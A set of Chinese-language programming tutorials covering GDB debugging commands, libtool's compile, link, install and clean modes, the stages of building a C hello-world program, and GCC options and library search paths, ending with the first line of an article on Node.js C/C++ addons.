$5 = 0x100000f2e "Hello world"  






set命令


	
修改寄存器：

(gdb) set $v0 = 0x004000000  
(gdb) set $epc = 0xbfc00000   




	
修改内存：

(gdb) set {unsigned int}0x8048a51=0x0  




	
譬如对于第8节的例子：

(gdb) set {unsigned int}0x100000f2e=0x0         
(gdb) x/10cb 0x100000f2e  
0x100000f2e:    0 '\0'  0 '\0'  0 '\0'  0 '\0'  111 'o' 32 ' '  119 'w' 111 'o'  
0x100000f36:    114 'r' 108 'l'  
(gdb) p c  
$10 = 0x100000f2e ""  






jump命令

一般来说，被调试程序会按照程序代码的运行顺序依次执行，但是GDB也提供了乱序执行的功能，也就是说，GDB可以修改程序的执行顺序，从而让程序随意跳跃。这个功能可以由GDB的jump命令：jump <linespec> 来指定下一条语句的运行点。<linespec>可以是文件的行号，可以是file:line格式，也可以是+num这种偏移量格式，表示下一条运行语句从哪里开始。jump <address> 这里的<address>是代码行的内存地址。 注意，jump命令不会改变当前的程序栈中的内容，所以，如果使用jump从一个函数跳转到另一个函数，当跳转到的函数运行完返回，进行出栈操作时必然会发生错误，这可能导致意想不到的结果，所以最好只用jump在同一个函数中进行跳转。

signal命令

使用singal命令，可以产生一个信号量给被调试的程序，如中断信号“Ctrl+C”。这非常方便于程序的调试，可以在程序运行的任意位置设置断点，并在该断点用GDB产生一个信号量，这种精确地在某处产生信号的方法非常有利于程序的调试。 signal命令的语法是：signal <signal>，UNIX的系统信号量通常从1到15，所以<signal>取值也在这个范围。

return命令

如果在函数中设置了调试断点，在断点后还有语句没有执行完，这时候我们可以使用return命令强制函数忽略还没有执行的语句并返回。

return  
return <expression>  


上述return命令用于取消当前函数的执行，并立即返回，如果指定了<expression>，那么该表达式的值会被作为函数的返回值。

call命令

call命令用于强制调用某函数： call <expr> 表达式中可以一是函数，以此达到强制调用函数的目的，它会显示函数的返回值（如果函数返回值不是void）。 其实，前面介绍的print命令也可以完成强制调用函数的功能。

info命令

info命令可以在调试时用来查看寄存器、断点、观察点和信号等信息。要查看寄存器的值，可以使用如下命令：


	info registers （查看除了浮点寄存器以外的寄存器）


	info all-registers （查看所有寄存器，包括浮点寄存器）


	info registers <regname ...> （查看所指定的寄存器）




要查看断点信息，可以使用如下命令：


	info break 列出当前所设置的所有观察点


	使用如下命令：info watchpoints 查看有哪些信号正在被GDB检测


	使用如下命令：info signals info handle 也可以使用info line命令来查看源代码在内存中的地址。


	
info threads可以看多线程。info line后面可以跟行号、函数名、文件名:行号、文件名:函数名等多种形式，例如下面的命令会打印出所指定的源码在运行时的内存地址：

info line tst.c:func





set scheduler-locking off|on|step


	off 不锁定任何线程，也就是所有线程都执行，这是默认值。


	on 只有当前被调试程序会执行。


	step 在单步的时候，除了next过一个函数的情况以外，只有当前线程会执行。




与多线程调试相关的命令还包括：


	thread ID，切换当前调试的线程为指定ID的线程。


	break thread_test.c:123 thread all，在所有线程中相应的行上设置断点


	thread apply ID1 ID2 command，让一个或者多个线程执行GDB命令command。


	thread apply all command，让所有被调试线程执行GDB命令command。




disassemble

disassemble命令用于反汇编，它可被用来查看当前执行时的源代码的机器码，其实际上只是把目前内存中的指令dump出来。下面的示例用于查看函数func的汇编代码：

(gdb) disassemble func  
Dump of assembler code for function func:  
0x8048450 <func>:       push   %ebp  
0x8048451 <func+1>:     mov    %esp,%ebp  
0x8048453 <func+3>:     sub    $0x18,%esp  
0x8048456 <func+6>:     movl   $0x0,0xfffffffc(%ebp)  
...  
End of assembler dump.  
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这篇文章与『理解 GLib 的单元测试框架』一文有些渊源，因为后者在几个示例中使用了 libtool 产生库文件与应用程序文件。

田园时代

我要写一个叫做 foo 的库，它提供一个什么也不做的函数。这个库的头文件为 foo.h：

#ifndef FOO_H
#define FOO_H

void foo(void);

#endif

foo.c 是这个库的实现：

#include "foo.h"

void foo(void)
{
}

用 gcc 编译生成共享库文件 libfoo.so：

$ gcc -shared -fPIC foo.c -o libfoo.so

如果用 clang，可以这样：

$ clang -shared -fPIC foo.c -o libfoo.so

如果是在 Windows 环境中（例如 mingw 或 cygwin 之类的环境），可以这样：

$ gcc -shared -fPIC foo.c -o libfoo.dll

于是，问题就出现了……如果我想让 foo 库能够跨平台运行，那么我就不得不为每一个特定的平台提供相应的编译命令或脚本。这意味着，你必须知道各个平台在共享库支持方面的差异及处理方式。这通常是很烦琐很无趣的事，何况我还没说构建静态库的事。

这时候，一个 10000 多行的 Bash Shell 脚本 libtool 站了出来，这些破事，我来做！

消除环境差异的方法

要有效的消除各个环境差异性，往往有三种办法。

第一种办法是革命……不要害怕，不是革程序猿的命，而是革环境的命。譬如 Windows（我更愿意是 Linux）扫清寰宇，一统天下，那么环境的差异性也就不存在了。但是，人类的历史已经证明了这条路是走不通的。因为，一旦某个环境绝对的统治了一切，那么它下一步要面对的问题就是自身的分裂……整部中国历史记录的都是这种事！

第二种办法是改良……有一批人仁志士成立了某个团体，颁布了一些标准，并号召大家都遵守这个标准，别再自行其是。C 语言标准，C++ 标准，scheme 标准……都挺成功的。现在似乎还没有共享库或动态链接库标准。

第三种办法是和谐——不要害怕，这里没有 GFW——就是承认现实就是这么个狗血的现实，然后追求和而不同。

libtool 选择了第三种办法。

libtool 的『和』

gcc 编译生成共享库的命令可以粗略的拆分为两步——编译与连接：

$ gcc -fPIC foo.c -o libfoo.o  #编译
$ gcc -shared libfoo.o -o libfoo.so  #连接

与之相应，libtool 说，如果你要用 gcc 编译生成一个共享库，不管它是在 Linux 里，还是在 Solaris，还是在 Mac OS X 里，或者是在 Windows 里（Cygwin 或 MinGW），可以使用同样的命令：

$ libtool --tag=CC --mode=compile gcc -c foo.c -o libfoo.lo # 编译
$ libtool --tag=CC --mode=link gcc libfoo.lo -rpath /usr/local/lib -o libfoo.la  # 连接

似乎 libtool 把问题弄得更复杂了！不过，仔细观察一下，可以发现一些规律。比如这两个命令的前面一半都是：

$ libtool --tag=CC --mode=

--tag 选项用于告诉 libtool 要编译的库是用什么语言写的，CC 表示 C 语言。libtool 目前支持以下语言：

语言                Tag 名称
---------------------------
C                   CC
C++                 CXX
Java                GCJ
Fortran 77          F77
Fortran             FC
Go                  GO
Windows Resource    RC
---------------------------

--mode 选项用于设定 libtool 的工作模式。上面的例子中，--mode=compile 就是告诉 libtool 要做的工作是编译，而 --mode=link 就是连接。

libtool 支持 7 种模式，除了上述两种模式之外，还有执行、安装、完成、卸载、清理等模式。每个模式都对应于库的某个开发阶段。这 7 种模式抽象了大部分平台上的库的开发过程。这是 libtool 和而不同的第一步：库开发过程的抽象。

下面来看编译过程，当 libtool 的 --mode 选项设为 compile 时，那么随后便是具体的编译命令，本例中是 gcc -c foo.c -o libfoo.lo。这条 gcc 编译命令，会被 libtool --tag=CC --mode=compile 变换为：

$ gcc -c foo.c  -fPIC -DPIC -o .libs/libfoo.o
$ gcc -c foo.c -o libfoo.o >/dev/null 2>&1

注意，注意，注意！事实上，libtool 命令中的 gcc -c foo.c -o libfoo.lo，并非真正的 gcc 的编译命令（gcc 输出的目标文件默认的扩展名是 .o 而非 .lo），它只是 libtool 对编译器工作方式的一种抽象。在 libtool 看来，它所支持的编译器，都应该这样工作：

$ 编译器 -c 源文件 -o 目标文件

如果 libtool 所支持的编译器并不支持 -c 与 -o 选项，那么 libtool 也会想办法让它们像这样工作！这是 libtool 和而不同的第二步：库编译过程的抽象。

下面观察一下执行 libtool 命令前后文件目录的变化。假设 foo.h 与 foo.c 位于 foo 目录，并且 foo 目录里只有这两个文件：

$ cd foo
$ tree -a
.
├── foo.c
└── foo.h

0 directories, 2 files

现在，执行 libtool 编译命令：

$ libtool --tag=CC --mode=compile gcc -c foo.c -o libfoo.lo

然后再查看一下 foo 目录：

$ tree -a
.
├── foo.c
├── foo.h
├── libfoo.lo
├── libfoo.o
└── .libs
    └── libfoo.o

1 directory, 5 files

执行 libtool 命令后，多出来一个隐藏目录 .libs，以及三份文件 libfoo.o, .libs/libfoo.o, libfoo.lo。有点诡异的就是有两份 libfoo.o 文件，虽然它们位于不同的目录，但是它们的内容相同吗？libfoo.lo 文件说，它们不相同。因为 libfoo.lo 是一份人类可读的文本文件，用文本编辑器打开它，可以看到以下内容：

# libfoo.lo - a libtool object file
# Generated by libtool (GNU libtool) 2.4.6
#
# Please DO NOT delete this file!
# It is necessary for linking the library.

# Name of the PIC object.
pic_object='.libs/libfoo.o'

# Name of the non-PIC object
non_pic_object='libfoo.o'

位于 foo/.libs 目录中的 libfoo.o，是 PIC 目标文件，而位于 foo 目录中的 libfoo.o 则是非 PIC 目标文件。在 gcc 看来，PIC 目标文件就是共享库的目标文件，而非 PIC 目标文件就是静态库的目标文件。也就是说，libtool 的目标不仅仅要生成共享库文件，也要生成静态库文件。这是 libtool 和而不同的第三步：目标文件的抽象。

接下来，再执行以下 libtool 的连接命令：

$ libtool --tag=CC --mode=link gcc libfoo.lo -rpath /usr/local/lib -o libfoo.la

从『形状』上来看，这条命令与

$ gcc -shared libfoo.o -o libfoo.so

相似，libfoo.lo 对应 libfoo.o，而 libfoo.la 对应 libfoo.so。事实上就是这样对应的。 libfoo.lo 是对 libfoo.o 的抽象，而 libfoo.la 是对 libfoo.so 的抽象。libfoo.lo 抽象的是共享库与静态库的目标文件，而 libfoo.la 抽象的就是共享库与静态库。libfoo.la 也是人类可读的。用文本编辑器打开 libfoo.la 文件，可以看到：

# libfoo.la - a libtool library file
# Generated by libtool (GNU libtool) 2.4.6
#
# Please DO NOT delete this file!
# It is necessary for linking the library.

# The name that we can dlopen(3).
dlname='libfoo.so.0'

# Names of this library.
library_names='libfoo.so.0.0.0 libfoo.so.0 libfoo.so'

# The name of the static archive.
old_library='libfoo.a'

# Linker flags that cannot go in dependency_libs.
inherited_linker_flags=''

# Libraries that this one depends upon.
dependency_libs=''

# Names of additional weak libraries provided by this library
weak_library_names=''

# Version information for libfoo.
current=0
age=0
revision=0

# Is this an already installed library?
installed=no

# Should we warn about portability when linking against -modules?
shouldnotlink=no

# Files to dlopen/dlpreopen
dlopen=''
dlpreopen=''

# Directory that this library needs to be installed in:
libdir='/usr/local/lib'

文件内容太多，要关注的内容是：

# The name that we can dlopen(3).
dlname='libfoo.so.0'

# Names of this library.
library_names='libfoo.so.0.0.0 libfoo.so.0 libfoo.so'

# The name of the static archive.
old_library='libfoo.a'

Directory that this library needs to be installed in:
libdir='/usr/local/lib'

显然，libfoo.la 包含了 libtool 生成的（其实是 gcc 生成的）共享库与静态库信息，并且它还包含了一个 libdir 变量。这个变量的值，显然是 libtool 的连接命令中的 -rpath /usr/local/lib 设定的。libdir 表示 libfoo.la, libfoo.so.*, libfoo.a 等文件最终都应该放到 /usr/local/lib 目录。

下面看一下 foo 目录中的文件变化：

$ tree -a
.
├── foo.c
├── foo.h
├── libfoo.la
├── libfoo.lo
├── libfoo.o
└── .libs
    ├── libfoo.a
    ├── libfoo.la -> ../libfoo.la
    ├── libfoo.lai
    ├── libfoo.o
    ├── libfoo.so -> libfoo.so.0.0.0
    ├── libfoo.so.0 -> libfoo.so.0.0.0
    └── libfoo.so.0.0.0

1 directory, 12 files

这就是 libtool 三步抽象的所有成果，libfoo.a 与含有 .so 的那些文件，就是最终生成的静态库与共享库文件，而 libfoo.la 是它们的抽象。

注意，还有一个 libfoo.lai 文件，它是一个临时文件，当我们使用 libtool 将 foo 库安装到 /usr/local/lib 目录时，它就变成了 libfoo.la。其实，libfoo.la 与 libfoo.lai 的区别是，前者的内容中有一个 installed 变量，它的值是 no，而在后者的内容中，这个变量的值是 yes。可以将此刻的 libfoo.la 视为安装前的库的抽象，而将 libfoo.lai 视为安装后的库的抽象。

对未安装的库进行抽象，有什么用？便于在库的开发过程中对其进行单元测试。

库的测试

为了显得不那么业余，我需要对 foo 目录中的文件进行一些变动，变动后的目录结构如下：

$ tree -a
.
├── lib
│   ├── foo.c
│   └── foo.h
└── test

2 directories, 2 files

就是将 foo.h 与 foo.c 放到 lib 目录中，另外新建了一个 test 目录。我要在 test 目录中建立测试程序，即 test.c，其内容如下：

#include <foo.h>

int main(void)
{
        foo();
        return 0;
}

然后使用 libtool 重新编译生成库文件：

$ cd lib
$ libtool --tag=CC --mode=compile gcc -c foo.c -o libfoo.lo
$ libtool --tag=CC --mode=link gcc libfoo.lo -rpath /usr/local/lib -o libfoo.la

现在，foo 目录结构变成：

$ cd .. # 返回 foo 目录，因为刚才是在 foo/lib 目录里
$ tree -a
.
├── lib
│   ├── foo.c
│   ├── foo.h
│   ├── libfoo.la
│   ├── libfoo.lo
│   ├── libfoo.o
│   └── .libs
│       ├── libfoo.a
│       ├── libfoo.la -> ../libfoo.la
│       ├── libfoo.lai
│       ├── libfoo.o
│       ├── libfoo.so -> libfoo.so.0.0.0
│       ├── libfoo.so.0 -> libfoo.so.0.0.0
│       └── libfoo.so.0.0.0
└── test
    └── test.c

下面，编译测试程序，即编译 test.c：

$ cd test
$ libtool --tag=CC --mode=compile gcc -I../lib -c test.c
$ libtool --tag=CC --mode=link gcc ../lib/libfoo.la test.lo -o test

执行 test 程序：

$ ./test

结果什么也不显示，这是正确的。因为 foo() 函数本来就是什么也不做的函数。

再看一下 foo 的目录结构的变化：

$ cd ..  # 因为刚才在 foo/test 目录中
$ tree -a
.
├── lib
│   ├── foo.c
│   ├── foo.h
│   ├── libfoo.la
│   ├── libfoo.lo
│   ├── libfoo.o
│   └── .libs
│       ├── libfoo.a
│       ├── libfoo.la -> ../libfoo.la
│       ├── libfoo.lai
│       ├── libfoo.o
│       ├── libfoo.so -> libfoo.so.0.0.0
│       ├── libfoo.so.0 -> libfoo.so.0.0.0
│       └── libfoo.so.0.0.0
└── test
    ├── .libs
    │   ├── test
    │   └── test.o
    ├── test
    ├── test.c
    ├── test.lo
    └── test.o

4 directories, 18 files

结果，在 test 目录中生成了可执行文件 test，但是 test 目录也有个 .libs 目录，而这个 .libs 目录里也包含了一份可执行文件 test……这是 libtool 的第四部抽象：可执行文件的抽象。结果，在 test 目录中生成了可执行文件 test，但是 test 目录也有个 .libs 目录，而这个 .libs 目录里也包含了一份可执行文件 test……这是 libtool 的第四步抽象：可执行文件的抽象。不知你有没有注意到，生成 test 的过程与生成 libfoo.la 的过程几乎是一样的！其实也没什么好奇怪的，因为共享库或静态库本身就是可执行文件。

foo/test/test 文件，其实是一份 Bash 脚本，而 foo/test/.libs/test 才是真正的 test 程序。为了便于描述，我将前者称为 test 脚本，将后者称为 test 程序。test 脚本就是对 test 程序的抽象！

test 脚本所做的工作就是为 test 程序的运行提供正确的环境。因为运行 test 程序，需要加载 foo 库。按照 Linux 的共享库加载逻辑，系统会自动去 /usr/lib 目录为 test 程序搜索共享库 libfoo.so，或者去环境变量 LD_LIBRARY_PATH 所定义的路径去搜索 libfoo.so。但是，但是，但是，此刻我们的 foo 库还没有被安装，我们也没有设置 LD_LIBRARY_PATH 变量，test 程序是运行不起来的，所以，需要一个 test 脚本来抽象它！

用文本编辑器打开 test 脚本，在 200 多行 Bash 代码中可以看到以下内容：

    # Add our own library path to LD_LIBRARY_PATH
    LD_LIBRARY_PATH="/tmp/foo/lib/.libs:$LD_LIBRARY_PATH"

    # Some systems cannot cope with colon-terminated LD_LIBRARY_PATH
    # The second colon is a workaround for a bug in BeOS R4 sed
    LD_LIBRARY_PATH=`$ECHO "$LD_LIBRARY_PATH" | /bin/sed 's/::*$//'`

    export LD_LIBRARY_PATH

我看着这份死活也看不懂的 test 脚本，深深感到 libtool 为了让这个什么也不做的 test 程序能够正确的运行，呕心沥血，很拼的！

库的安装与卸载

foo 库，经过我的精心测试，没发现它有什么 bug，现在我要将它安装到系统中：

$ cd lib  # 因为刚才跑到 foo 目录下查看了目录结构
$ sudo libtool --mode=install install -c libfoo.la /usr/local/lib

我觉得我没必要再说废话，简明扼要的说，这是 libtool 的第五步抽象：库文件安装抽象。

事实上，很少有人去用 libtool 来安装库。大部分情况下，libtool 是与 GNU Autotools 配合使用的。更正确的说法是，libtool 属于 GNU Autotools。我不知道在这里我将话题引到 GNU Autotools 是不是太唐突，因为有关 GNU Autotools 的故事，要差不多半个月才能讲完……

简单的说，GNU Autotools 就是产生两份文件，一份文件是 configure，用于检测项目构建（预处理、编译、连接、安装）环境是否完备；另一份文件是 Makefile，用于项目的构建。如果我们的项目是开发一个库，那么一旦有了 GNU Autotools 生成的 Makefile，编译与安装这个库的命令通常是：

$ ./configure         # 检测构建环境
$ make                # 编译、连接
$ sudo make install   # 安装

也就是说，Makefile 中包含了 libtool 的编译、连接以及安装等命令。这篇文章的目的是帮助你理解 libtool，并非希望你使用 libtool 这个小木船来取代航母级别的 GNU Autotools。

既然以后很可能是用 GNU Autotools 来构建项目，因此可以用 libtool 命令卸载刚才所安装的库文件：

$ sudo libtool --mode=uninstall rm /usr/local/lib/libfoo.la

这是 libtool 的第六步抽象：库文件卸载抽象。它对应于 GNU Autotools 产生的 Makefile 中的 make uninstall。

归根复命

foo 库，经过我的精心测试，没发现它有什么 bug 了，我想将源代码分享给我的朋友……虽然我几乎没有这种朋友。

既然是分享，那么就得将一些对别人无用的东西都删掉。现在我的 foo 目录中有这些文件：

$ cd ..  # 因为刚才在 foo/lib 目录中
$ tree -a
.
├── lib
│   ├── foo.c
│   ├── foo.h
│   ├── libfoo.la
│   ├── libfoo.lo
│   ├── libfoo.o
│   └── .libs
│       ├── libfoo.a
│       ├── libfoo.la -> ../libfoo.la
│       ├── libfoo.lai
│       ├── libfoo.o
│       ├── libfoo.so -> libfoo.so.0.0.0
│       ├── libfoo.so.0 -> libfoo.so.0.0.0
│       └── libfoo.so.0.0.0
└── test
    ├── .libs
    │   ├── test
    │   └── test.o
    ├── test
    ├── test.c
    ├── test.lo
    └── test.o

4 directories, 18 files

我要删除 *.o，*.lo，*.la, *.lai, *.a, *.so.* 等文件，只保留源代码文件。手动删除有点繁琐，为此，libtool 提供了第七步抽象：归根复命的抽象。归根复命，这么高大上的概念，是老子创造的。他说，『夫物芸芸，各归其根。归根曰静，是谓复命』。

哲学的事，先放一边，libtool 让 foo 库归根复命的命令是：

$ cd lib
$ libtool --mode=clean rm libfoo.lo libfoo.la
$ cd ../test
$ libtool --mode=clean rm test.lo test

然后再看一下 foo 的目录结构：

$ cd ..  # 因为刚才在 test 目录中
$ tree -a
.
├── lib
│   ├── foo.c
│   └── foo.h
└── test
    └── test.c

2 directories, 3 files

对于 GNU Autotools 产生的 Makefile 而言，libtool 的 clean 模式对应于 make clean。

总结

将上面所讲的 libtool 命令的用法都忘了吧，只需要大致上理解它对哪些事物进行了抽象即可。因为，GNU Autotools 提供的 autoconf 与 automake 已将所有的 libtool 命令隐藏在它们的黑暗魔法中了。
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最近打算巩固计算机基础知识，网上一本评价极高的教材——深入理解计算机系统，下面要将讲的内容来自第一章一个小例子，不过对我们了解C语言如何从源程序到最终的可执行程序很有帮助，下面让我们开始吧。

一步到位的hello world

首先一个简单的C语言版本的hello world例子，保存在文件hello.c中。

#include <stdio.h>

int main()
{
    printf("hello world\n");
}

一般而言，我们通常可以使用gcc命令将其转化为可执行程序

gcc -o hello hello.c

执行上面命令后，就会在当前目录生产一个hello的可执行文件。在Centos 64位机器上执行file hello，可以得到

hello: ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), not stripped

直接执行./hello即可在控制台输出hello world。

条分缕析的hello world

为了说明C语言源程序是如何转化为最终的可执行文件，首先看下面这个图



下面来分布讲解

预处理（Preprocessor）阶段

这个阶段处理#开头的指示语句，hello.c中的#include<stdio.h>告知预处理器去加载stdio.h的内容，并把它插入到当前位置。

cpp hello.c > hello.i
file hello.i
# hello.i: ASCII C program text

编译（Compiler）阶段

这个阶段把C语言源程序编译为汇编程序，不同高级语言经由其编译器处理后，得到的同样的汇编语言。

cc -S hello.i   #会生成 hello.s 文件
file hello.s
# hello.s: ASCII assembler program text

组装（Assembly）阶段

这一阶段把汇编语言翻译为机器码，结果保存在称为relocatable object program/file的文件中，以ELF（Executable and Linkable Format）格式存储（包含一个符号表，没有striped过），一般以.o结尾。

as -o hello.o hello.s
file hello.o
# hello.o: ELF 64-bit LSB relocatable, AMD x86-64, version 1 (SYSV), not stripped

链接（Linking）阶段

注意到我们的hello.c程序使用了printf函数，它是由C语言的标准库函数，由C语言编译器提供，printf函数应该会存在于一个printf.o的文件中，我们需要某种手段把它合并到我们的hello.o中，链接器就是做这件事的。最终生成的为一个称为executable object file的文件，它可以被装载进内存并且执行。

# -lc 指定加载libc.a
ld -o hello /usr/lib64/crt*.o hello.o -lc

如果按照上面方式操作，可执行文件hello能够创建出来，但是运行./hello会报错

-bash: ./hello: /lib/ld64.so.1: bad ELF interpreter: No such file or directory

貌似是路径不对，到这里，你可能会想到gcc为什么能够一次成功，gcc是怎么调用ld的呢？我们可以通过-v选项来查看gcc调用ld时的参数

$ gcc -v hello.o -o 123
Using built-in specs.
Target: x86_64-redhat-linux
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-thre
ads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-libgcj
-multifile --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --disable-plugin --w
ith-java-home=/usr/lib/jvm/java-1.4.2-gcj-1.4.2.0/jre --with-cpu=generic --host=x86_64-redhat-linux
Thread model: posix
gcc version 4.1.2 20080704 (Red Hat 4.1.2-55)
 /usr/libexec/gcc/x86_64-redhat-linux/4.1.2/collect2 --eh-frame-hdr -m elf_x86_64 --hash-style=gnu -dynamic-linker /lib64/l
d-linux-x86-64.so.2 -o 123 /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crt1.o /usr/lib/gcc/x86_64-redhat-linux
/4.1.2/../../../../lib64/crti.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/crtbegin.o -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2
-L/usr/lib/gcc/x86_64-redhat-linux/4.1.2 -L/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64 -L/lib/../lib64 -L/usr/
lib/../lib64 hello.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86
_64-redhat-linux/4.1.2/crtend.o /usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crtn.o

这里重点是collect2这句，因为collect2可以看作ld功能相同的程序，为了方便阅读，我这里手动换了下行

/usr/libexec/gcc/x86_64-redhat-linux/4.1.2/collect2 --eh-frame-hdr -m elf_x86_64 
--hash-style=gnu -dynamic-linker /lib64/ld-linux-x86-64.so.2 
-o 123 
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crt1.o 
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crti.o 
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/crtbegin.o 
-L/usr/lib/gcc/x86_64-redhat-linux/4.1.2
-L/usr/lib/gcc/x86_64-redhat-linux/4.1.2 
-L/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64 
-L/lib/../lib64 
-L/usr/lib/../lib64 hello.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed 
-lgcc_s --no-as-needed /usr/lib/gcc/x86_64-redhat-linux/4.1.2/crtend.o 
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../lib64/crtn.o

可以看到，gcc在做链接时传入了这么多参数，至于其中的原因，就比较麻烦了，改日再写一篇文章介绍，今天先到这里。

参考


	http://eli.thegreenplace.net/2012/08/13/how-statically-linked-programs-run-on-linux


	http://www.lisha.ufsc.br/teaching/os/exercise/hello.html


	http://www.computerhope.com/unix/uld.htm


	https://ftp.gnu.org/old-gnu/Manuals/ld-2.9.1/html_node/ld_3.html
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简介

GCC 的意思也只是 GNU C Compiler 而已。经过了这么多年的发展，GCC 已经不仅仅能支持 C 语言；它现在还支持 Ada 语言、C++ 语言、Java 语言、Objective C 语言、Pascal 语言、COBOL语言，以及支持函数式编程和逻辑编程的 Mercury 语言，等等。而 GCC 也不再单只是 GNU C 语言编译器的意思了，而是变成了 GNU Compiler Collection 也即是 GNU 编译器家族的意思了。另一方面，说到 GCC 对于操作系统平台及硬件平台支持，概括起来就是一句话：无所不在。

简单编译

示例程序如下：

//test.c
#include <stdio.h>
int main(void)
{
    printf("Hello World!\n");
    return 0;
}


这个程序，一步到位的编译指令是:

gcc test.c -o test



再通过在命令行输入 ./test 就可以执行编译后的程序

实质上，上述编译过程是分为四个阶段进行的，即预处理(也称预编译，Preprocessing)、编译(Compilation)、汇编 (Assembly)和连接(Linking)。

预处理

gcc -E test.c -o test.i 或 gcc -E test.c



可以输出test.i文件中存放着 test.c 经预处理之后的代码。打开 test.i 文件，看一看，就明白了。后面那条指令，是直接在命令行窗口中输出预处理后的代码.

gcc 的-E 选项，可以让编译器在预处理后停止，并输出预处理结果。在本例中，预处理结果就是将stdio.h 文件中的内容插入到test.c中了。

编译为汇编代码(Compilation)

预处理之后，可直接对生成的 test.i 文件编译，生成汇编代码：

gcc -S test.i -o test.s



gcc的-S选项，表示在程序编译期间，在生成汇编代码后，停止，-o 输出汇编代码文件。

汇编(Assembly)

对于上一小节中生成的汇编代码文件 test.s，gas 汇编器负责将其编译为目标文件，如下：

gcc -c test.s -o test.o



连接(Linking)

gcc连接器是gas 提供的，负责将程序的目标文件与所需的所有附加的目标文件连接起来，最终生成可执行文件。附加的目标文件包括静态连接库和动态连接库。

对于上一小节中生成的 test.o，将其与Ｃ标准输入输出库进行连接，最终生成程序test

gcc test.o -o test



在命令行窗口中，执行./test, 让它说 HelloWorld 吧！

多个程序文件的编译

通常整个程序是由多个源文件组成的，相应地也就形成了多个编译单元，使用GCC 能够很好地管理这些编译单元。假设有一个由test1.c 和 test2.c 两个源文件组成的程序，为了对它们进行编译，并最终生成可执行程序test，可以使用下面这条命令：

.gcc test1.c test2.c -o test

如果同时处理的文件不止一个，GCC 仍然会按照预处理、编译和链接的过程依次进行。如果深究起来，上面这条命令大致相当于依次执行如下三条命令：

gcc -c test1.c -o test1.o
gcc -c test2.c -o test2.o
gcc test1.o test2.o -o test



检错

gcc -pedantic illcode.c -o illcode



-pedantic编译选项并不能保证被编译程序与ANSI/ISO C标准的完全兼容，它仅仅只能用来帮助Linux程序员离这个目标越来越近。或者换句话说，-pedantic 选项能够帮助程序员发现一些不符合 ANSI/ISO C 标准的代码，但不是全部，事实上只有ANSI/ISO C 语言标准中要求进行编译器诊断的那些情况，才有可能被GCC 发现并提出警告。

除了-pedantic 之外，GCC还有一些其它编译选项也能够产生有用的警告信息。这些选项大多以-W 开头，其中最有价值的当数-Wall 了，使用它能够使GCC 产生尽可能多的警告信息。

gcc -Wall illcode.c -o illcode



GCC 给出的警告信息虽然从严格意义上说不能算作错误，但却很可能成为错误的栖身之所。一个优秀的Linux 程序员应该尽量避免产生警告信息，使自 己的代码始终保持标准、健壮的特性。所以将警告信息当成编码错误来对待，是一种值得赞扬的行为！所以，在编译程序时带上-Werror选项，那么GCC 会在所有产生警告的地方停止编译，迫使程序员对自己的代码进行修改，如下：

gcc -Werror test.c -o test



库文件连接

开发软件时，完全不使用第三方函数库的情况是比较少见的，通常来讲都需要借助许多函数库的支持才能够完成相应的功能。从程序员的角度看，函数库实际 上就是一些头文件（.h）和库文件（so、或lib、dll）的集合。。虽然Linux下的大多数函数都默认将头文件放到/usr/include/目录 下，而库文件则放到/usr/lib/ 目录下；Windows 所使用的库文件主要放在Visual Stido的目录下的include和lib，以及系统文件夹下。但也有的时候，我们要用的库不再这些目录下，所以GCC在编译时必须用自己的办法来查找 所需要的头文件和库文件。

例如我们的程序test.c 是在linux上使用c 连接mysql ，这个时候我们需要去mysql官网下载MySQL Connectors 的C 库，下载下来解压之后，有一个include 文件夹，里面包含mysql connectors 的头文件，还有一个lib 文件夹，里面包含二进制so文件libmysqlclient.so

其中inclulde 文件夹的路径是/usr/dev/mysql/include,lib文件夹是 /usr/dev/mysql/lib

编译成可执行文件

首先我们要进行编译 test.c 为目标文件，这个时候需要执行

gcc –c –I /usr/dev/mysql/include test.c –o test.o



链接

最后我们把所有目标文件链接成可执行文件:

gcc –L /usr/dev/mysql/lib –lmysqlclient test.o –o test



Linux下的库文件分为两大类分别是动态链接库（通常以.so 结尾）和静态链接库（通常以.a 结尾），二者的区别仅在于程序执行时所需的代码是在运行时动态加载的，还是在编译时静态加载的。

强制链接时使用静态链接库

默认情况下， GCC在链接时优先使用动态链接库，只有当动态链接库不存在时才考虑使用静态链接库，如果需要的话可以在编译时加上-static 选项，强制使用静态链接库。

在/usr/dev/mysql/lib 目录下有链接时所需要的库文件libmysqlclient.so和libmysqlclient.a，为了让GCC 在链接时只用到静态链接库，可以使用下面的命令:

gcc –L /usr/dev/mysql/lib –static –lmysqlclient test.o –o test



静态库链接时搜索路径顺序


	ld会去找GCC 命令中的参数-L


	再找gcc 的环境变量LIBRARY_PATH


	再找内定目录 /lib /usr/lib /usr/local/lib 这是当初compile gcc 时写在程序内的




动态链接时,执行时搜索路径顺序


	编译目标代码时指定的动态库搜索路径


	环境变量LD_LIBRARY_PATH 指定的动态库搜索路径


	配置文件/etc/ld.so.conf 中指定的动态库搜索路径


	默认的动态库搜索路径/lib


	默认的动态库搜索路径/usr/lib




有关环境变量

LIBRARY_PATH环境变量：指定程序静态链接库文件搜索路径
LD_LIBRARY_PATH环境变量：指定程序动态链接库文件搜索路径
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平常我们写node module的时候，都是直接用javascript去写，今天我们来学习下如何使用c/c++来写node模块，用c/c++写的优势就在于，你可以调用许多系统级的API，如fork，缺点就是它强平台依赖的，不一定能在所有平台下去运行。

写一个node addon一点都不可怕 * 3



